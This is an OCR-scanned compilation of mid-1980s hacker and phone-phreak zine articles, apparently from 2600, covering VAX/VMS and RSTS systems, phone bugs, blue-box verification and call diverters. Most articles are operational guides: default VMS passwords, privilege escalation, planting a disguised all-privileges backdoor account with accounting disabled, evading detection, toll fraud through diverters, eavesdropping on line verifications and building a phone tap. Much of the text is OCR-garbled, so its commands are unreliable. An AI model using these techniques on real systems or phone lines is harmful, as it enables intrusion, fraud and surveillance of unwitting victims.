Assuming that wyou stil{‘ want your beard E *§§ﬁ“ﬂﬁv§“ﬂn§¥ ?ﬁg iE‘hiden_d°§§2 §a2§tt?§
up, there %gg utherhprecaut1onar measures. | voy have everything to protect from in-

ui*l cneh thmg, the bﬁﬂrds that ask the ruding eyes. Because when they seize
Galler whether or not they work for law en-|oqyipment = the read everything without
fotcement peally are working | sfalsst thes.| Conctro that the sveop may be the caretaker

1 len ’ €y nonest.y eXpecl|s»f people’s personal messages and writings.
all law enforcement tipes to dutifully say We'd like to hear other methods of out-
yes ang never call back when they’re denied smarting these goons. It’s not very hard.
agg“%g'can.gﬂgeihﬁ eigegii fglﬂhetgat these|por jnstance, you could have a bulletin
people LSt th o S 000r even| hoard dial-in  at one location, which will
if it is an "elite" board? Even if there is then call-forward to the real location, or
potE;ng illegal on such a board, attention| g5V another d location. Each of these
1§11 E”E to it by such statements and it requires another phone line, but you'’ll get
wi _become impossible to persuade the plenty of warning, especially ~if a dummy
authorities that there simply isn’t a higher computer is set up at one of the locations
access level. On the same token, sysops ﬂnﬂpthiﬁ is only the beginning :
that run a disclaimer with words to the| ™. "4on+¢ enja§ having to suggest these
?ﬁgﬂcﬁhg{ ighgggﬁagﬁ Eﬁﬁgsbggrﬁﬁsp°“sibﬁﬁ*t§ courses of action. We’d like very much to

are kiddin .

themselves if they think this is going to be able to get on with what we're supposed

to be doing: discussing telecommunications
21:EJEPE: p{;ﬂm natﬁgglly t5ut afhﬁﬁg m::;gi and computers in our own way. Instead we
the dun:f - ey ? have to pause again to defend our right to

say these things. It's a necessary course
ether or not you want to censor the of action ang. if we hold our heads up, it
will be a successful one.



a guide to VMIS

by Lex Lathor and The Legion of Doom,/Hackers

The VAX is made by DEC (Dgital Equipment Corp)and can runa vanety of
operating systems. In this article, | will talk about the VM5 (Virtual Memory
operating Systen). _

Entrance

When you first connect with a ¥ AX you type cither a return, a ctri=c, or a
etrl-y. It will then respond with something similar to:
LOD RECURSIVE SYSTEMS INC. YMS Y40
Usernmme:

Pasrword:

The most frequent way of gaining Access 1o & cOMpULEr System is by using a
‘defauit’ login password. In this example you may try LOD as the username and
RECURSIVE as the password or a combination of words in the opening banner
(if there is one) which may allow you access, otherwise you will have to try the
DEFAULT METHOD of entry. The version listed above (Y4.0) is the latest
version to my knowbedge of VM5, The more widely used version that | have seen
s W7,

When DEC sells a VAX/VMS, the system comes equipped with 4 accounts
which are:

DEFAULT—This serves as a template in ereating user records in the UAF (User
Authorization File). A now uscr record is assigned the values of the DEFAULT
record except where the systemn manager changes those values. The DEFAULT
record can be modified but cannot be deleted from the UAF.
SYSTEM—Provides & means for the system manager to, log in with full
privileges, The SYSTEM necord can be modified but cannot be deleted I'mm the
UAF.

FIELD—Permits DIGITAL field service personnel to check out a unrt:.'smn.
The FIELD record can be deleted once the system is installed,
SYSTEST—Provides an appropriate environment for running the User
Environment Test Package (UETF). The SYSTEST recond can be deleted once
the system is installed.

Usually the SYSTEM MANAGER adds, deletes, and modifies these reconds
which are in the UAF when the system arrives, thus eliminating the default
passwords, but this is not tree in all cases,

The “default’ passwords that 1 have found to work ane:

Unermamse: Pasyword:
SYSTEM MANAGER or OFERATOR
FIELD SERVICE or TEST
DEFAULT USER or DEFAULT
SYSTEST UETF or SYSTEST

Onher typical VMS accounts are;
Yax VAX YMS YMS
DCL DCL DEMO DEMO
TEST TEST HELP HELFP
NEWS NEWS GUEST GUEST

GAMES GAMES DECNET DECNET

Or a combination of the vanous usernamés and passwords. 1 none of thess
get you in, then you should move on to the next system unbess you have a way (o
get usernames | passwords, like from trashing, stealing passwords directly, or by
some other mckns.

You will know that you are in by receiving the prompt of a dollar sign*'$". You
will be popped into the default directory which is dependent on what account
you are logged inas. If you get in as the system manager, you have full access. If
wou pet in on the fickd or systest accounts you may or may not have full access but
you will have the privileges (o give yoursell full access. To give privileges to
yoursell: § SET PROCESS [PRIVS=ALL

Onece you have full privs, you can access any directory and any file, and also
run the AUTHORIZE program which will be explained.

The VIS system has full help files available by typing HELF. You can use the
wildcard character of *** to list out info on every command: $ HELP *.

When you first logon, it may be Lo your advantage to get a list"of all users
currently logged onto the system if there arc any at all. You can do this by: §
SHOW USERS. Then you should get something like this:

VAX/VMS Interactive Users - Total = 4
01-MAY-1985 11:37:21.73

OPAL: DEMO 004CD04C
TTD2: LAWRENCL 00500044
TXB1: FIELD OOEDHME
TXE3: TWYLYSYS 01190057

It is highly recommended that if you are logged on in the day and there are
people logped in, especially the system manager or the account you are logged on
as, logout and call back later. | have lound that no matter what system you are
on, the best way to remain undetected is to call when no one is on the system.
You do not want to call too Late since the system keeps a record of when cach user
logs in and out,

To communicate with other users or other hackers that you are on the system
with, use the PHONES Utility; 3 PHONES Username. If the system has DEC-
net, you can secwhat available nodes there are by: § SHOW NETWORK. 1 you
have mail the system will tell you so afier logging in, simply type: § MAIL. This
will invoke the Personal Mail Utility; you can use help from there.

There are a lot of commands and many are not too useful {to the hacker
anyway), so | will not go into detail. One thing about VMS, there is plenty of
on-line help available which will enable you Lo learn the oprating system fairly
well,

Drirectories

Toses what you have in your directory type: $ TNE. To get a list ol directories
on the system type: § DIR [*.*].

When a VAX ! VMS is first installed . it comes with nine directones which are
not listed when you execute the DIR [*.*] command. [SYSL1B}—various macro
and object libraries; [SYSMSG —systemn message fibes; [SYSMGR }—ibes used
in managing the operating system; [SYSHLP]—text files and help hbranes for
the HELP utility; [SYSERR —directory for the error log file (ERRLOG.SYS):
[SYSTEST}—files used im testing the functions of the operating system:;
[SYSMAINT]—sysiem diagnostic programs: [SYSUPD]—files used in
applying system updates; [SYSUPD . EXAMPLESj—sample driver programs,
user-written system services, and other source programs; [SYSEXE]}—the
executable images of most of the functions of the operating system.

Trside these directorics are files with the following file-types:

l?Ibtrpe Dheacription: Command:
Ascil text file TYPE file-nams
Jlb System Help file TYPE file-name
Aat Dutn file TYPE file-name
oy Message e TYPE file-name
doc Docamentstion TYPE file-name
Jog Log file TYPFE file-name
LT Error mag file TYFE file-name
S0 Sequinitial filk  TYPE file-name
A73 System ke FILE-NAME
£1E Executable filke FILE-NAME
ST Comsrrand ke COMMAND NAME
bas Basl: e RUN File-name

There are others but you wont see themn as much as the above. You can change
directonies either by using: § CHANGE [DIR.NAM)] or § SET DEFAULT
[DIR.NAM].

You can now list and execute the files in this directory without first typing the
directory name followed by the file name as long as you have sufficient aceess, If
you dont have sufficient access you can siill view files within directories that you
cannot default to by: § TYPE [LOD.DIRJLOD.MAILL This will list the
contenits of the file LOD.MALI in the directory of [LOD.C

The use of wildcards is very helpful when you desice to view all the mail or
something on a system. To list out all the users mail if you have acosss type: 3
TYPE[*.*]*.MAl*. As you may notice mail files have the extension of MAL at
the end. The ;1 or 2 etc. are usad to number files with the same name.

{This is the first of an ongoing series on the VM S operaring system, Be sure o
look in funure ismaes of 2600 for more in this serwes. I} you want (o e an article
about @ particular computer or operating system, 21 us know. )



The Infinity Transmitter—An Old Bug That Had Its Time

by Howard

There is always a great hush when the term infinity
transmitter is mentioned, as if it were some amazing secret
device, but it can be simply explained. The infinity transmitier
or harmonica bug is a device installed within a target's phone.
This device allows a person to call the phone and listen in on
him while he is quite unaware. This device has a few problems,
the biggest of which is that the target’s phone must be connected
to ecither a Crossbar or Step by Step swilch. The other
drawback is that the bug must be installed in the target’s phone.
This means one must enter the house, place the bug in the
phone, and rewire it as required. This bug could also be
detected if the target were to altempt to use his phone while you
were monitoring his activities. Since you are on his phone line
listening to him, he might think it strange that his phone was
being used, especially if he has any technical background. Let’s
see how to use the bug once it is installed.

Onee installed all the observer has to do is call the target’s
phone number. After the observer dials the last digit, he sendsa
specific tone down the phone line which causes the bug to
answer the phone before it rings. The frequency of the tone is
user selectable and set during the construction process. The
exact frequency of the tone is quite unimportant.

This type of bug can be used from anywhere there is a phone.

The potential distance is infinite hence the name “infinity
transmitter.” Ending the audio visit with the warget is just as
easy as starting it. A different frequency tone is sent down the
line telling the bug to hang up. Overall, a very simple concept.

The reason this bug works on Step by Step and Crossbar
switches is because in these systems the audio and ring
generator are connected to the phone called before it is
answered. So it is possible for the bug 1o answer the phone
before the ring capacitor is fully charged by the ring generator.
ESS and DMS switches do not connect the audio to the called
phone line until after the phone is answered, making the infinity
transmitter useless. In the case where the user does not apply
the pick-up tone immediately, the phone would ring, then st~p
suddenly. Therefore some skill is required to avoid tipping e
target off to the fact that he is being watched.

Construction of this device should be relatively easy for
someone with a little experience in the electronics world. The
bug would be isolated from the phone by using two non-
polarized capacitors of | uf or better. It would mainly consist of
two frequency detectors. One would connect the audio from the
mouth piece to the phone line and answer the phone when the
pick-up tone is detected. The other would disconnect the audio
from the mouth piece from the phone line and hang up the
phone when the hang-up tone appears.



Reaching Out On Your Own

by Forest Ranger

Verification isa very touchy subject. The telephone company
wants to keep verification secret from anyone beyond telco
employees. But as phone phreaks should know that is quite
impossible. There are two types of operators that do
verifications. *0™ (TSPS) for local verifications and 10
(INWARD) operators for verifications beyond your NPA.
They use their operator console, but other people use blue
boxes.

KP:NPAHHXX+NPA+XXX+XXXX:ST

The first NPA (area code) is yours and the 0 will get you on
your TSPS operator lines. The next XX part is an area
identifier. They are 00, 11, 22, 33, 44, 55, 66, 77, B8, 99. There
are ten possible choices depending on which area you are in.
For example, blue box verification for Michigan would be
KP: 31 3466+ NPA+ XXX+ XX XX:ST. The second NPA is the
NPA of the number you are going to verify, The XU+ XXXX
part is the rest of the number you are going to verify.

Once you have routed your verification you will receive a series
of chcks (tandems stacking), then you will hear a beep and you
will be on the line. You won't understand what anyone is saying
because everything will be scrambled. The verification will last
about thirty seconds. Then you will be beeped out and finally
disconnected.

Federal laws regarding line listening have become much
sironger—especially after 1974 when a subcommittee of the
House of Representatives held a public hearing called
“Telephone Monitoring Practices by Federal Agencies™. At this
hearing it was discovered that Bell had listened in to lines of
their employees and had the power to listen in on anyone. This
shocked many people and made federal laws concerning such
activity much stronger. My point is don't abuse this
verification, because all you need is a simple descrambler from
Radio Shack to descramble the conversation on the line.



PURSUIT FOR PEOPLE

PC PURSUIT Cities and Access Nusbers

On August 7, GTE Telenet announced a new service which, if
handled properly, will usher in a whole new phase of computer
communications.

The service is called PC Pursuit and it enables people to
connect their computers to other computers for $25 a month
(plus a start-up fee of $25). In other words, a hobbyist in New
York can connect his computer to a bulletin board in California
and not have to pay for a long distance call. The “computer
conversation” goes through GTE Telenet, a packet-switching
network for computers, previously used exclusively by large
corporations. |

“To access the service,” GTE's press release explains, “a user
calls his PC Pursuit access numberand is prompted to enter his
home phone number and make a request for a destination
phone number in a distant city. If the user’s telephone number is
not authorized, the phone call is terminated and a record of the
call is generated. If the number is authorized, the subscriber is
called back and automatically connected to the desired
telephone number in the distant city, which could be a specific
database or remote PC user. GTE Telenet is able to maintain
full accounting of the origin and destination of all calls. Each
user session can last a full hour, and users may access the service
as many times a month as they wish.” )

PC Pursuit represents the first time a major corporation has
attempted to win over computer hackers rather than intimidate
them. J. David Hann, president of GTE Telenet, says, “We
hope that we will be providing a safe, positive outlet for
computer hobbyists, giving them inexpensive, virtually
unlimited access to hundreds of free databases and bulletin

boards. By removing the prohibitive cost from recreational
data communications, perhaps PC Pursuit will encourage
growth and advancement rather than mischief and abuse
among hobbyists.”

We think it’s great. At last we are being encouraged to take
advantage of technology without paying ridiculous prices. We
look forward to the day when all “long-distance” calls will cost
the same as local calls, and free databases be made available to
everyone.

Naturally we are a little concerned that all of this data will be
going through GTE Telenet, i.e. just about every hacker
bulletin board would at some point be called through it. It
wouldn’t be too difficult to spy on someone’s data from within
the system, but we feel that s already the case at present with all
communications. As always, we recommend scrambling
sensitive or private communications.

It’s unlikely that this new system (co-developed by Digital
Pathways, Inc. of California) will be victimized by hackers
because of the callback feature. Still, if there is a way to defeat
this, you can count on it being discovered. Even at this point,
though, the most that any one person could cheat the service
out of is $25 a month.

Our main complaint with PC Pursuit is that it isn't available
in nearly enough places. Only the largest of cities can use it to
call other large cities. A list of dial-ups appears in this issue.
When GTE finally gets around to implementing nationwide or
even worldwide service, they will have a powerful, trend-
setting, people-oriented product.

(More info can be obrained by talking to a human at
8003684215 or a computer at 8008353001.)

BREA CODE LOCAL ACCESS CiTy
cITY SERVED NUMBER ACCESS CODE

Atlanta 404 584-2873 Atlanta
Boston 17 423-0547 Boston
Chicaga 312 565-3927 Chicago
Dallas bt} 551=7094 Dallas
Denver 303 571-5146 Denver
Detroit 313 961-9555 Datroit
Houston 713 227-57T42 Houston
Los Angeles 213 524-6062 LA
New York 212 473-3738 New York
Philadelphia Fik) 374-0613 Philly
San Francisco 415 398-1134 San Fran
Washington D.C. 202 559-2863 Wash DC
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AND THEY CALL US CROOKS?

by Silent Switchman

A friend and 1 got together one day and we said, *Let’s see if
we can make some money trying to help out various
communications companies by finding faults in things where
they are losing money.” It is sort of like patching holes in an
automobile tire to keep the air from escaping. 1 am sure that
some of the readers out there have had said to themselves, “Gee,

“look at this. If this phone company only knew that you could
take advantage of their system that way, | bet that I could trvto
make a little money and help them out and they can help me
out.” It is a thought that a phone phreak often has—to tell the
big company the flaws in its systems and to be rewarded -—a
symbiotic relationship.

In one of the new digital switching systems. we found some
very good ways where you can make long distance calls for free
from any telephone—rotary or touchtone. When contacting
one of the major manufacturers, they said, “We will test this
out. and if it's worth anything, we will let you know." 1 had also
told this company several other things before, and they had said
tome then. *We will let this be a free sample to prove yourself to
us.” 5o | gave them two very good free samples as to problems
in their system. including the name of one system saboteur who
was going around destroying systems (switching systems, that
is). This was to be a sample as to what | was going to do for
them.

Then when | found this other thing where any and everybody

inthe USA could make a free call ona GTD#S digital switch.-
I didn't come right out and tell them exactly what it was. | said,
“If you pay me a small consultant’s fee of $500, | could save you
several hundred thousand dollars a month. They were not
interested: they wanted me to tell them first, and it started a big
thing.

This friend of mine contacted a very large long distance
carrier (withanall American name) and told them of problems
with their long distance company. They promised him a

consultant fee of $30,000, which may sound pretty hefty, but
would have paid for itsell in a short period of time. They solved
many of the problems in their network. and when it {inally came
down to pay the bill (my friend had actually spent time and
money). the long distance carrier said “We do not feel we owe
you anything. But you can give us information about our
system any time you want to,” The big long distance phone
company with the American-sounding name said that one
reason that they were not going to pay the individual is because
they had been screwed by a phone phreak in the past who was
passing around the information, creating the problemand then
trying to make money on it. My friend who simply tried to
make some money contracting did not have that in mind. The
company had originally said that they “pay for information
that is used to stop problems within our system.™ He reminded
them of this comment, and they since have denied it. So this
very large company has now reneged on a verbal contract and
they have made no attempt to reimburse him for his expenses.

My experiences with various companies have led me to
believe that there is no real way for someone like me to provide
expert advice. So here | am, holding a secret to the GTD#S5
switch, where people can make free calls. I would estimate that
the cost to the company would be from $100,000 to $125,000
per month, and it is increasing as more and more people take
advantage of this bug. The GTD#5 (General Telephone Digital)
is made by Automatic Electric.

So, basically, the moral of this story is: Do not trust a
company that you are ever going to do business with, whether it
is a telephone company or a big corporation. Do notcallupan
engineer or a vice president of a company or somebody in
telephone security, and do not believe it when they tell you that
they will pay for services rendered. If they ever make you a
promise. get it in writing, because they will cheat you.

(A1 the request of the aurhor, the flaw in the GTD#HS switch will
not be printed in this issue, bur in next month’s issue.)



an interesting diversion

by Lord Phreaker

A diverter is a form of call forwarding. The phone phreak
calls the customer’s office phone number after hours, and the
call is*diverted’ wo the customer’s home. This sort of service is
set up so the phone subscriber does not miss any important
calls. But why would a phreak be interested” Well, often
diverters leave a few seconds of the customer’s own dial tone as
the customer hangs up. The intrepid phreak can use this brief
window to dial out on the called party’s dial tone, and,
unfortunately, it will appear on the diverter subscriber’s bill,

How Diverters Are Used

One merely calls the customer’s office phone number after
hours and waits for him or her to answer. Then he either
apologizes for ‘misdialing a wrong number® or merely remains
quiet 50 as to have the customer think it's merely a crank phone
call. When the customer hangs up. he just waits for the few
seconds of dial tone and then dials away. This would not be
used as a primary means of calling, as it is illegal and as multiple
‘wrong numbers”can lead to suspicion, plus this method usually
only works at night or after office hours. Diverters are mainly
used for calls that cannot be made from extenders.
International calling or the calling of Alhance Teleconferencing
are  common possibilities. Another  thing to
remember 15 that tracing results in the customer’s phone
number, so one can call up TRW or that DOD NORAD
computer number with less concern about being traced.

Some technical problems arise when using diverters, so a
word of warning is in order. Many alternate long distance
services hang up when the called party hangs up. leaving one
without a dial tone or even back at the extenders dial tone. This
really depends on how the extender interfaces with the local
phone network when it comes out of the long haul lines. MCI

and I'TT are known to do this frequently, but not all the time, Also, hanging on
the line until "dial window® appears doesnt work every lime,

Mow the really paranoid phreaks wonder, "How am | sire this is ending up on
someone ¢lse’s phone bill and not mine™” Well. no method is 1006 sure. but once
should 1ry to recognize how a full disconnect sounds on the long distance service
of his choice. The customer'’s hanging up will generate only one click. because
most diversions are local, or relatively local as compared with long distance
Also. the customer hanging up won't result in winks- -litle beepe ar weeps of
2600 hertz tones heard when an in-band trunk is hung up. The 2600 henz wone
returns Lo indicate the line is free, and the beginning burst of it is heard as it blows
you off the line. Also, if there are different types of switching invalved. the dial
1ones will sound radically different, especially between an ESS and a Cross-Bar

{X-Bar) or Step-by-Sicp, as well as sounding “farther away™ These techniques
are pood for understanding how phone systems work and will be useful far
future exploration, The really paranoid showid. a1 first, try to dial the local AN
{Awmomatic Number Identifier) number for the called area and listen (o the
number it reads off, Or one merely calls the opermor and says, “This is repair
eervice. Could vou tell me what pair I'm coming in on? I she reads off the
phreak’s own number, he must try again.
How to Find Diverters

And now a phreak must wonder. “How are these beasties found”™ The best
place to start is the local Yellow Pages. If one looks up the officc numbers for
psvchiatrists. doctors, real estate agents, plumbers. dentists. or any professional
whao generally needs to be in constant contact with his customers or would be
afraid of losing business while he is a1 home. Then one merely dials up all these
numbers after 6:00 or so, and listens for multiple clicks while the call goes
through. Since the call is local, multiple clicks should not be the norm. Then the
phreak merely follows through with the procedure above, and waits for the
window of vulnerahility.

Other Forms of Diverters

There arc several other forms of diverters. Phreaks have for vears known of
recordings that leave a dial tone afier "ending.” One of the more famous was the
DOD Fraud Hotline's after hours recording. which finally ended, after muluiple
clicks and disconnects, at an Autovon dial tone. One common practice oocurs
when a company linds its PBX being heavily abused afer houers. It puts in a
recording that says that the company cannot be reached now. However. il ofien
happens that after multiple disconnects one ends up with a dial tone nside the
PBX —thus a code is not needed. Also. when dialing a company and after 1alking
{social engineering) with emplovees, one merely waits for them to hang up and
often a second dial tone is revealed. 976 {dial-it) numbers have been known lodo
this as well, Answering services also suffer from this lack of security. A pood
phreak should learn never to hang up on a called party. He can never be sure
what he is missing, The best phreaks are always the last ones lo hang upa phone.
and they will often wait on the line a few minutes until they are sure that its all
over. One tem of clarification—the recordings mentioned above are noi the
1¢lco standard “The number vou have dialed..” or the like. However, telco
newslines have been made to suffer from the diverter mis-disconnect.

Dangers of Diverting

50, nothing comes free. What arc the dangers of diverting? Well, technicall
one is committing toll fraud. However, a list of divener numbers is just that, a list
of phone numbers. Tracing is a distinet possibility. but the average divener
victim doeenT have the technical knowledge (o wentify the problem.

There has been al least one investigation of diverter frawd involving the FBI.
However there were no arrests and the case was dropped. 16 seems that one
prospective victim in Connecticut realized that he was being defrauded after
receiving multiple phone calls demanding that he put his diverier up now ~o that
a conference call could be made, He then complained to the FBL However. these
aware customers are few and far between. and if a phreak does not o 1o such
radically obnoxious extremes. it is hard to be caught, U nless the same number is
used to place many expensive calls,



more info on VMS

by Lex Luthor and The Legion of Doom, Hackers
(This is the second insiallmeni of an in-depth guide 10 the VMS operating
svstertt. Look to future issues for more on VMS and other operating sysiems. )
Privileges ’
Privileges fall into seven categories according to the damage that the user
possessing them could cause the system: *

Nooe  No privileges

Normal Minimum privileges to effectively use the system
Group  Polential to interfere with members of the same group
Devour  Polential 1o devour noncritical sysiem-wide resources
System  Polential 10 inlerfeve with normal system operation
File Polential to compromise file security

Al Polential to control the sysiem (hehe)

The UAF

The User Authorization File contains the names of users who may log into the
system and also contains a record of the user’s privileges. Each record in the
UAF includes the following:

1. Name and Password

2. User ldentification Code {UIC)—Identifies a user by a group number and a
member number,

3. Defaul file specification— Has the default device and directory names for il
access.

4. Login command file—Names a command procedure to be executed
automatically at login time.

5. Login fMags— Allows the syslem manager to inhibit the use of the CTRL-Y
function, and lock user passwords.

6. Priority—Specifies the base priority of the process created by the user at login
fme.

7. Resources—Limits the system resources the user may perform.

8. Privikeges—Limits activities the user may perform.

Ifyou have SYSTEM MANAGER privileges. you will be able to add, delete.
and modify records inthe UAF, The AUTHORIZE utility allows vou to modify
the information in the UAF. Itis usually found in the [SYSEXE] directory, The
commands for AUTHORIZE are:

ADD username [qualifier.. J—Adds a record 1o the UAF

EXIT {or CTRL-Z}—Retums you 1o command level
HELP—Lists the AUTHORIZE commands

LIST [userspec] [/ FULL}—Creates a listing file of UAF records
MODIFY —Modilies a record

REMOVE username. -Deletes a record

SHOW —Displays UAF records

The most useful besides ADD 1s the SHOW command. SHOW displays
reports for selected UAF records. You can get a ‘BRIEF listing ora /FULL
listing. But before you do that, you may want o make sure no one is logged on
besides you. And to make sure no one can log on: § SET LOGINS
{INTERACTIVE=0.

This establishes the maximum number of users able 1o log in Lo the system—
this command does not effect users currently logged on. This is not really needed
and looks very suspicious. Now, to list out the userfile do the following:
$ SET DEFAULT [SYSEXE]

5 RUN AUTHORILZE

UAF)SHOW * /BRIEF .

Owner Username UIC Account  Privs PrDefault Directory
SYS MANAGER SYSTEM [001,004] SYSTEM All 4 SYSSSYSROOT:
FIELD SERVICEFIELD [001.010] FIELD All 4 SYSSSYSROOT:

To getafull report: {if vou used the SET DEFAULT command earlier and the
default directory is the [SYSEXE] directory, then you don't have to re-type it}
5 RUN AUTHORIZE (or il you still have the UAF) prompt)x

UAF) SHOW * JFULL

Username: SYSTEM Owner SYSTEM MANAGER

Account: SYSTEM UIC: [001,004]

CLE: DCL LGICMD:

Default Device: SYSSROOT:

Default Directory: [SYSMGR]

Login Flags:

Frimary days: Mon Tue Wed Thu Fri

Secondary days: Sat Sun

Neo hourly restrictions

PRIO: 4 BYTLM: 20480 BIOLM: 12
PRCLM: 10 PBYTLM: 0 DIOLM: 12
ASTLM: 20 WSDEFAULT: 150 FILLM: ]
ENQLM: 0 WSQUOTA: 350 SHRFILLM: a
TQELM: 20 WSECTENT: 1024 CPU: no limit
MAXJOBS: b MAXACCTIOBS: 0 PGFLQUOTA: 100000
Privileges:

CMKRNL CMEXEC SYSNAM GRPNAM ALLSPOOL DETACH
DIAGNOSE LOG-I0 GROUP ACNT PRMCEB PRMMBX PSWAPM
ALTPRISETPRY TMPMBX WORLD OPER EXQUOTA NETMBX
VOLPRO PHY-I0 BUGCHK PRMGBL SYSGBL MOUNT PFNMAP
SHMEM SYSPRY SYSCLK

Unfortunately, you cannot get a listing of passwords, but vou can get the list of
usgers as shown above, The passwords are encrypted just fike a UNIX system, but
you cannot even sec the encrypted password unless vou look at the actual file
that the UAF draws its information from.

After listing out all the users, you figure that since all these other people are on
here. why cant | have my own accoumt? Well, if vou have sufficient privs. vou
can!

UAF)ADD SYSLOG /PASSWORD=LEGION :UIC=[014.006)
SCPUTIME=D [ DEVICE=SYSSSYSROOT-

- ACCOUNT=VMS /DIRECTORY=[SYSERR] PRIVS=ALIL

(OWNER=DIGITAL {NOACCOUNTING

1} You ADD the username SYSLOG (you do not want 1o create a user like:
Lex, since it will be too obvious and not leok right. | have had much suceess in
not being detected with this account.

2} You specify the password for the SYSLOG account.

3) You assign a UIC (User Identification Code) which consists of two numbers.
in the range of 0 through 377, separated by a comma and enclosed in brackets,
The system assigns a UIC to a detached process created for the user at login time

User processes pass on this ULC 10 any subprocesses they create. Processes can
further assign UICs to fibes. mailboxes, devices. eic, You can assign the same
UIC 1o more than 1 wser.

4) CPUTIME is in delta format, 0 means INFINITE. which is what we will use.
5} You specifly the DEVICE that is allocated 1o the user when they login, which
for our purposes, is the SYSSSYSROOT device. other devices are:
SYSSDEVICE. SYSS5YSDISK. DB, etc.

6) Specifying an account is not necessary, but if vou do, use one that is listed as
another user's, since you don't want 1o attract 100 much atiention (o the account.
7} The default directory can be a directory currently on the system or it can be
created after the UAF record is added. You may want 1o use one of the ones
mentioned earlier on. but be sure not 1o use the [SYSMGR] directory.

B) Youcanseclect one of the privileges listed earlier. We will wse. of course. ALL.
9) OWNER is similar to the ACCOUNT gualifier: again, look at what the other
users have listed.

10) NOACCOUNTING will disable system accounting records. thus not
adding information 1o the ACCOUNTING.DAT file.

After the UAF record is suecessfully added. you should create a directory by
specifving the device name. directory name, and UIC of the UAF recard.
Protection for the “ordinary™ user is normally. Read, Write, Execute, and Delete
access for system, owner. and group processes, and read and execute aceess for
world processes. Tocreate adirectory: 3 CREATE SYSSSYSROOT[SYSLOG)
{DIRECTORY ;OWNER-UIC={014.006],

Accounting

For accounting purposes, the VAX: VMS system keeps records of the use of
the system resources. These records are kept in the accounting log file:
SYSISYSDISK: [SYSMGR] ACCOUNTING.DAT. which is updated each
time an accountable process terminates, each time a print job is completed. and
each time a login failure occurs. In addition, users can send messages 1o he
inseried into the accounting log file.

Tosuppress the accounting function and thus avord accounting for the use of
sysiem resources requires privilege, The ' NOACCOUNTING gualifier is used
to disable all accounting in a created process.

Youmay want Lo see how often the account vou are using or another account
logs in. You can do this by: § ACCOUNTING fUSER={SYSLOG).

Dhie/ i Type Substype Liserrame 11} Sonmrce Siatus

M-JAN-195 00285 PROCESS INTERACTIVE SYSLOG  #008CS NONE 00018090
12-FEB-1985 M1l PROCESS INTERACTIVE SYSLOG e AS NONE DOOXRT 1N
0I-PAAY-1985 1401l PROCESSINTERACTIVE SYSLOG 00004 NONE 00030001

This is the accounting information for the user:SYSLOG which shows that
the user has logged on three times so far. Some users may be on hundreds of
times. thus, it would be an ideal account 1o use abuse since it will not be likel
that ithe unauthonzied acoesses will be deiceied,

ing 04T

Simply type: % LOGOUT, The system will displ e usual CPU time used
and other statistics,

Shutting Down The System

Many files | have read tell you how to destroy a system, shut it down ete. | do
not recommend nor practice any type of malicious activity. | do realize. though.
that inthe process of gaining access to a svstem. the Hacker or System Cracker,
whichever vou prefer, gets bored or learns as much as he wanis to learn about the
svstem. | will explain how to shut down the system correctly. Thiscan be used in
case you Lhink you screwed the system and shutting down may be the only way 1o
avoid considerable damage.

The normal reasons for shutting down the system are: danger of power loss,
need 10 backup the system disk, hardware or software problems. or to use the
system for a specific application. Below is the command procedure which
describes how to shut down the system in an orderly fashion. This procedure is
contained in a command file,

PROCEDLRE:

1) Type the following command to begin the shutdown procedure:
$ @SYSSSYSTEM:SHUTDOWN

2) Enter time till shutdown:

How many minutes until shutdown?:5

3) You will now have ta give the reason for shutting it down:
Reason?:possible system damage

4) Respond by typing a Y or N to the following question:

Do you want to spin down the disks™N

Alter a shont period the message: SYSTEM SHUTDOWN COMPLETE
USE CONSOLE TO HALT SYSTEM,

Al this point, the system cannot be totally shut down. but all processes are
halted, thus, not causing any further damage to the system. (Remember, the
reason you should have shut it down was because potential damage to the system
could have oecurred and you were acting in the best interest of the system.)

Reading Materisl

For general background information about the VAX VMS system, see the
VAX. VMS Primer and the VAX VMS Summary Deseription and Glossary.
The following VAX :VMS documents may also be usclul:

VAX/VMS Command Language Lser’s Guide

YAX/YMS  Guide to Using Command Procedures

YAX/YMS Release nofes

YAX-11 RSX-11M User's Guide

YAX-11 Software Installation Guide

VAX/YMS System Manager's Guide

VAX/VMS System Vessages and Recovery Procedures Manual
YAX-11 Utilities Reference Manual

RMS-11 User's Guide

For controlling network operations, refer 1o the DECNET-VAX System
Manager's Guide.



RSTS: A Trick or Two

by The Marauder/Phoneline Phantoms
(What follows is a specific discussion on some aspects of the
RSTS operating system which is usually found on a PDP-11.
This computer is quite popular and found in many schools. For
those who are unfamiliar, a general survey of RSTS will appear
in future issues. )
Free Space
What is free space? Well, on all RSTS/E systems, thereisa
portion of the disk assigned to *free space’, which is basically
space free for the saving of files. When you issue a save, or open
command, RSTS/E simply grabs however many blocks are
needed from this space, and stores your file there. Then this
space is marked as being ‘unavailable’. When you delete, or kill
a file the exact opposite happens, RSTS/E moves a few
pointers, which mark this space as ‘available’. (or free) space,
leaving the entire file 999 of the time totally intact!!. Hereisan_
algorythm for a program to read free space:
10 open *file.ext’ as file 15%
20 put #1%,record XX XXX
30 close 1%
40 end
where: file.ext = any valid filename you want the free space to be
placed in. XXXXX% = any integer between | and 32767
inclusive, telling how many blocks of free space you wish
transferred into ‘file.ext’.
Forexample, if | wanted to read 500 blocks of free space into
a file called “free_spc™ | would write my program as follows:
10 open “free.spc™ as file 19
20 put #15%.record 5005
30 close 19
40 end
Now in my directory would be the file “free.spc™ holding 500
blocks of free space. Y ou can now simply pip, teco. etd. or any
text editor to examine the contents of this file. Whatever was
deleted in the past few hours will usually be 999 intact. This
includes BASIC programs. any ASCH text files (compiled code

is untranslatable so it’s useless). This is especially useful at
schools in the beginning or end of year when the administration
is deleting and creating new accounts.

NOTE: You(and anyone else) can prevent files from going to
free space in a readable format. When deleting a file, program.
etc., use the following.

pip prog.ext/wo/lo (on RSTS/E v6.00 and earlier)
pip prog.ext/de/er (on RSTS/E v7.00 and later)

What this does in effect is tell pip to “write zeroes' over the
entire file before releasing it to free space. ( Few persons know to
use this, and fewer still ever use it!!)

Programs With ‘Holes’ in Them

On most systems there are usually a few programs that have
holes in them that can be used to your advantage. Here area few
1 have found.

If the system you are hacking supports a *basic +2" runtime
system (prompts with ‘well??”) from the basic keyboard monitor
(from ‘Ready”).

sw bp2com
esp
Z {control )

This is a legendary bug in the older versions of RSTS, E;
what it basically does is switch to basic plus 2 as the default
keyboard monitor, executes the ccl that evokes the rpg editor
{esp), then control z%s (exits) out of it leaving full privileges
intgct!!! So you can now run any program on the system!

Arnother big hole i have found is in the program
*(1.2)rpgdmp.tsk”, which is an rpg ASCII dump program, used
for dumping rpg source code and checking for stray control
characters that have a way of getting into rpg source and
